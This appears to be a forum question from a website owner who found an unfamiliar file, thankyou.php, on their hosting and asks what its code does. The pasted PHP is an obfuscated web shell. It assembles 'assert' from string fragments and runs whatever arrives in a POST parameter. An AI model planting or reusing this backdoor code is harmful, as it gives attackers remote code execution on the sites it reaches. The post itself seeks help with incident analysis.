I was uploading a file to my web hosting and noticed that a file called thankyou.php has appeared. I don't recall ever having seen this file or this code before. Alarmingly, the file, plus my favicon have last modified times four hours after I would have been making changes. Can you advise me on whether the code below means anything? note the spaces after the last character of each line. It's been so long since I dabbled in php, and it was just a dabble.
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>